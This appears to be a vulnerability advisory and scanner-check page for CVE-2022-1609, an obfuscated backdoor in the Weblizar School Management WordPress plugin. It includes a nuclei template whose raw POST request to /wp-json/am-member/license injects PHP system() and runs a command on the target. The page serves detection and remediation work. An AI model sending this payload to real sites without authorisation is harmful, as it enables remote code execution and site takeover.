CVE-2022-1609· weblizar / school management· CWE-94
The School Management < 9.9.7 - Remote Code Execution
criticalseverity
9.8CVSS score
64.1%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
The School Management plugin before version 9.9.7 contains an obfuscated backdoor injected in it's license checking code that registers a REST API handler, allowing an unauthenticated attacker to execute arbitrary PHP code on the site.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
Fix
Upgrade The School Management to version 9.9.7 or later to mitigate this vulnerability.
How to confirm it
Send: POST /wp-json/am-member/license
Positive when: contains "9061-2202-EVC"Run it with nuclei: nuclei -id CVE-2022-1609 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2022-1609
info:
name: The School Management < 9.9.7 - Remote Code Execution
author: For3stCo1d
severity: critical
description: The School Management plugin before version 9.9.7 contains an obfuscated backdoor injected in it's license checking code that registers a REST API handler, allowing an unauthenticated attacker to execute arbitrary PHP code on the site.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
remediation: |
Upgrade The School Management to version 9.9.7 or later to mitigate this vulnerability.
reference:
- https://wpscan.com/vulnerability/e2d546c9-85b6-47a4-b951-781b9ae5d0f2
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1609
- https://github.com/nastar-id/WP-school-management-RCE
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/0x007f/cve-2022-1609-exploit
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-1609
cwe-id: CWE-94
epss-score: 0.64075
epss-percentile: 0.99233
cpe: cpe:2.3:a:weblizar:school_management:*:*:*:*:pro:wordpress:*:*
metadata:
verified: false
max-request: 1
vendor: weblizar
product: school_management
framework: wordpress
tags: cve,cve2022,rce,wp,backdoor,wpscan,wordpress,weblizar,vkev,vuln
variables:
cmd: "echo CVE-2022-1609 | rev"
http:
- raw:
- |
POST /wp-json/am-member/license HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
blowfish=1&blowf=system('{{cmd}}');
matchers-condition: and
matchers:
- type: word
part: body
words:
- '9061-2202-EVC'References
- https://wpscan.com/vulnerability/e2d546c9-85b6-47a4-b951-781b9ae5d0f2
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1609
- https://github.com/nastar-id/WP-school-management-RCE
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/0x007f/cve-2022-1609-exploit
Use this check only on systems you are authorised to test. Where the data comes from